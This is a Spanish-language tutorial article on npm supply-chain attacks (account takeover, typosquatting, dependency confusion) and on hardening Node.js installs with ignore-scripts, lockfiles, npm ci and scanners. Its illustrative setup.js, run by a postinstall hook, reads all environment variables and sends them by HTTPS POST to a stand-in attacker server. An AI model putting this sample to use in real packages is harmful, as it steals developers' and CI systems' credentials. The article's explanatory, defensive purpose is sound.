Inicio / Artículos / Ataques a la cadena de suministro de Npm: cómo funcionan y cómo defenderse de Node.js

Ataques a la cadena de suministro de Npm: cómo funcionan y cómo defenderse de Node.js

Explica cómo funcionan los ataques a la cadena de suministro de npm, como las tomas de control de cuentas, el typosquatting y la confusión en las dependencias, además de pasos concretos para reforzar las instalaciones de Node.js.

1767 palabras

Cuando ejecutas npm install express, no solo estás instalando una biblioteca de enrutamiento. Ocultos en esa única orden hay cientos de paquetes anidados creados por personas con las que nunca has tenido contacto y probablemente nunca lo tendrás.

La mayoría de los ingenieros consideran a los gestores de paquetes como un sistema neutral: solicitas una herramienta, esta se descarga y continúas con tu trabajo. Pero esa suposición ya no es válida en el mundo de JavaScript. Hoy en día, los atacantes rara vez se molestan en intentar penetrar un firewall corporativo o realizar ingeniería inversa de un flujo de inicio de sesión en producción. Es mucho más sencillo introducir código malicioso en una dependencia de la que tu equipo ya depende y en la que confía ciegamente.

npm install ya no es una operación pasiva de obtención y almacenamiento. En realidad, equivale a ejecución arbitraria de código: en tu ordenador portátil, dentro de tu pipeline CI/CD y, finalmente, en tu infraestructura de producción.

¿Qué es un ataque a la cadena de suministro en Node.js?

Las preocupaciones clásicas de seguridad web se centran en defectos como la inyección SQL o el scripting cruzado, que son errores integrados directamente en la aplicación que se escribe.

Un ataque a la cadena de suministro de software funciona de manera diferente. Tu propio código puede ser impecable, siguiendo todas las buenas prácticas conocidas. Pero si un paquete de terceros del que dependes ha sido manipulado, ese código impecable se encuentra sobre una base comprometida, y todo el sistema está en riesgo.

Este tipo de ataque apunta a los mecanismos que construyen y distribuyen tu software, no al propio software. En el mundo de Node.js, esos mecanismos incluyen:

  • Paquetes de código abierto alojados en el registro npm
  • Dependencias transitivas: los paquetes de los que dependen a su vez tus dependencias directas
  • Scripts que se ejecutan automáticamente durante la instalación
  • Canalizaciones de lanzamiento automatizadas, como las creadas con GitHub Actions
  • Si se compromete algún enlace de esa cadena, todos los proyectos siguientes heredarán la carga maliciosa la próxima vez que se instalen.

    Cómo explotan los atacantes a npm: tres patrones del mundo real

    Estos ataques no son aleatorios. Se basan en comportamientos estructurales predecibles del ecosistema npm. A continuación se presentan los tres patrones de ataque con los que es más probable encontrarse.

    1. Apropiación de cuentas y mantenedores comprometidos

    Muchos paquetes npm ampliamente utilizados son mantenidos por voluntarios que trabajan en su tiempo libre sin recibir compensación. Los atacantes son muy conscientes de esto, y en lugar de atacar el código fuente, se dirigen a la persona que lo publica.

    Los métodos típicos incluyen:

    • Reutilización de credenciales: intentar combinaciones de nombres de usuario y contraseñas filtradas contra cuentas de npm que no cuentan con autenticación multifactor.
    • Fishing: hacerse pasar por el equipo de seguridad de npm a través del correo electrónico para engañar a los mantenedores y hacerles entregar sus credenciales de acceso.
    • Peticiones de pull con troyanos: contribuir durante un período prolongado con correcciones pequeñas y realmente útiles para ganar confianza y obtener acceso a los commits, y luego insertar una puerta trasera oculta una vez establecida esa confianza.

    Una vez que se obtiene el acceso para publicar, el atacante envía una actualización de parche que parece rutinaria, por ejemplo de 2.1.4 a 2.1.5. Dado que muchos archivos package.json utilizan rangos con careta como ^2.1.4, las compilaciones automatizadas en todas partes adoptan la versión comprometida sin que nadie se dé cuenta.

    2. Typosquatting y confusión de marcas

    El typosquatting se aprovecha de los simples errores humanos. Un atacante registra un nombre de paquete que es visual o textualmente casi indistinguible de una biblioteca conocida.

    Algunos ejemplos ilustrativos:

    • Paquete legítimo: cross-env
    • Imitación maliciosa: crossenv
    • Paquete legítimo: colors
    • Imitación maliciosa: colour

    Si escribes el nombre incorrecto al ejecutar npm i <package>, instalarás en su lugar la versión del atacante. Estos paquetes impostores a menudo replican la API real casi exactamente, por lo que tu conjunto de pruebas sigue funcionando normalmente mientras se ejecuta un comportamiento malicioso oculto en segundo plano.

    3. Confusión de dependencias

    Las empresas suelen mantener paquetes internos privados, como @company/auth-client o company-auth.

    Si el registro interno está mal configurado, el cliente npm podría terminar consultando el registro público antes de verificar el privado cuando necesita resolver ese nombre de paquete interno. Los atacantes explotan esto escaneando repositorios públicos y documentación en busca de indicios sobre estos nombres de paquetes privados, y luego publican paquetes con esos mismos nombres en el registro público de npm, asignándoles un número de versión absurdamente alto como 99.9.9.

    Cuando se ejecuta tu proceso de compilación, npm compara las versiones, ve que la versión del paquete público es más alta y instala el código del atacante en lugar de tu módulo interno legítimo.

    Qué sucede detrás de escena: el peligro de los scripts de ciclo de vida

    ¿Por qué instalar un paquete conlleva tanto riesgo? ¿Por qué el código malicioso se ejecutaría antes de que su aplicación llame a require() o import de esa biblioteca?

    El mecanismo responsable son los scripts de ciclo de vida.

    Dentro de package.json, npm permite comandos de shell que se ejecutan automáticamente en etapas específicas de la instalación. Los ganchos más peligrosos entre ellos son preinstall, install y postinstall.

    A continuación se muestra un package.json aparentemente inofensivo perteneciente a una dependencia comprometida:

    {
      "name": "useful-string-helper",
      "version": "1.0.1",
      "scripts": {
        "postinstall": "node ./setup.js"
      }
    }
    

    La descripción podría indicar que setup.js compila un binario nativo o prepara archivos de configuración locales. En realidad, setup.js podría contener algo más parecido a esto:

    // setup.js (Runs automatically during npm install)
    const { exec } = require("child_process");
    const https = require("https");
    
    // Read environment variables (AWS keys, database passwords, tokens)
    const sensitiveData = JSON.stringify(process.env);// Send captured data to an attacker-controlled endpoint
    const req = https.request({
      hostname: "attacker-controlled-server.com",
      port: 443,
      path: "/collect",
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "Content-Length": sensitiveData.length
      }
    });req.write(sensitiveData);
    req.end();
    

    Esto es lo que realmente sucedió:

    • Escribió npm install useful-string-helper.
    • npm ejecutó de inmediato node ./setup.js.
    • Las variables de entorno locales, como AWS_SECRET_ACCESS_KEY, DATABASE_URL o NPM_TOKEN, fueron extraídas directamente de la memoria del sistema.
    • Dichos datos confidenciales se transmitieron por HTTPS a un servidor controlado por el atacante.

    Tenga en cuenta que para todo esto no fue necesario importar el paquete ni iniciar la aplicación. El simple hecho de ejecutar npm install, ya sea en su propia máquina o dentro de un ejecutor CI, fue suficiente para poner en peligro por completo sus datos confidenciales.

    Defensa práctica: Refuerzo del flujo de trabajo de Node.js

    No es realista trabajar sin paquetes de terceros. Todo el ecosistema del desarrollo moderno se basa en componentes de código abierto. Sin embargo, lo que sí puedes controlar es con qué cuidado incorporas esas dependencias a tu proyecto.

    1. Desactivar los scripts de instalación por defecto

    A menos que un paquete realmente necesite ejecutar un script personalizado durante la instalación, desactiva esa funcionalidad:

    npm install --ignore-scripts
    

    Para aplicar esta regla en todo el proyecto en lugar de escribirla cada vez, agrega un archivo .npmrc en la raíz de tu repositorio:

    # .npmrc
    ignore-scripts=true
    

    Si un paquete realmente necesita compilación nativa —como un controlador de base de datos o una biblioteca de procesamiento de imágenes, por ejemplo— aún puedes iniciar manualmente su paso de compilación, o permitir selectivamente que ciertos paquetes pasen a través de los sistemas de complementos ofrecidos por gestores de paquetes como pnpm o yarn.

    2. Bloquee estrictamente sus dependencias

    Asegúrese de que un archivo de bloqueo forme siempre parte de lo que sube al control de versiones, ya sea package-lock.json, pnpm-lock.yaml o yarn.lock, según la herramienta que utilice.

    Un archivo de bloqueo almacena la versión exacta, la URL de descarga resuelta y un hash de integridad criptográfica (SHA-512) para cada paquete que se instala. Cada vez que existe ese hash, npm puede confirmar que el código que se está descargando ahora es idéntico, byte a byte, a lo que se registró cuando se generó por primera vez el archivo de bloqueo.

    Dentro de los pipelines CI/CD, utilice siempre:

    npm ci
    

    Evite ejecutar el comando simple npm install durante el despliegue. npm ci se atiene estrictamente a lo que está indicado en package-lock.json y elimina previamente cualquier carpeta node_modules existente, lo que impide que las versiones aumenten silenciosamente.

    3. Proteja los secretos de su entorno

    Procure no guardar credenciales de producción en archivos .env en texto plano en su ordenador portátil siempre que sea posible. Las máquinas de los desarrolladores son objetivos atractivos precisamente porque suelen tener un monitoreo de seguridad más débil que la infraestructura en la nube, aunque al mismo tiempo contienen claves válidas para bases de datos y cuentas en la nube de producción.

    • Prefiera credenciales de corta duración, como aquellas emitidas a través de AWS IAM Identity Center o sistemas similares de tokens temporales.
  • Almacene las claves API en gestores de secretos dedicados en lugar de en archivos de configuración del shell como .bashrc o .zshrc.
  • Mantenga los tokens de despliegue con altos privilegios completamente alejados de las máquinas individuales de los desarrolladores.
  • 4. Utilice herramientas de escaneo automatizado

    Ningún escáner detecta todo, pero las herramientas automatizadas son rápidas para identificar paquetes que ya se sabe son maliciosos o vulnerables.

    • Ejecute npm audit con regularidad para detectar paquetes con CVEs conocidos.
    • Agregue un servicio como Socket.dev, Snyk o Dependabot de GitHub como verificación obligatoria en cada solicitud de pull request.
    • Socket.dev, por ejemplo, analiza qué hace realmente un paquete en el fondo: cómo se comunica a través de la red, cómo escribe en el disco, cómo ejecuta comandos del shell — antes de que llegue a su proyecto.

    El compromiso: seguridad vs. velocidad de los desarrolladores

    Ninguna de estas medidas de fortalecimiento se obtiene sin costo.

    Activar ignore-scripts=true puede dañar paquetes que dependen de enlaces nativos en C++, como bcrypt o sharp. Cuando eso ocurre, alguien del equipo debe dedicar tiempo a diagnosticar el fallo de compilación o a configurar manualmente el proceso de compilación.

    De igual manera, fijar la versión de cada dependencia implica que las correcciones de errores no llegarán automáticamente a tu proyecto. Es necesario reservar tiempo de forma regular —semanalmente o por sprint— para probar y actualizar intencionalmente las dependencias en lugar de dejar que se actualicen solas.

    En un pequeño proyecto secundario, este nivel de disciplina podría parecer una fricción innecesaria. Pero en el momento en que una aplicación comienza a manejar datos de clientes, detalles de facturación o la infraestructura de producción, esa misma fricción se convierte en lo que impide un compromiso silencioso.

    Lista de verificación resumida para desarrolladores de Node.js

    Antes de agregar la próxima dependencia, tenga en cuenta estos principios:

    • Trate npm install como ejecución de código: cada paquete que añada se ejecuta con las mismas permisos que su propia cuenta de usuario.
    • Cuestione las nuevas adiciones: pregúntese si realmente necesita un paquete completo para lo que podría ser una función auxiliar de diez líneas.
    • Deshabilite los scripts cuando sea posible: establezca ignore-scripts=true en .npmrc para neutralizar la mayoría de los ataques relacionados con el estilo después de la instalación.
    • Siempre guarde el archivo de bloqueo: mantenga package-lock.json actualizado y exija npm ci en cada ejecución de CI/CD.
    • Revise los derechos de acceso: limite lo que su shell local y sus ejecutores de CI realmente pueden acceder.

    El ecosistema de JavaScript brinda a los desarrolladores una velocidad y flexibilidad enormes. Ser consciente de cómo se gestionan las dependencias es lo que impide que esa velocidad socave silenciosamente la integridad de sus sistemas.

    Lecturas relacionadas

  • Construyendo un kit de automatización en JavaScript modular desde cero — Aprenda cómo combinar Playwright, Cheerio, SQLite y Commander en un motor de flujos de trabajo reutilizable para Node.js que evoluciona de un script a un producto de automatización vendible.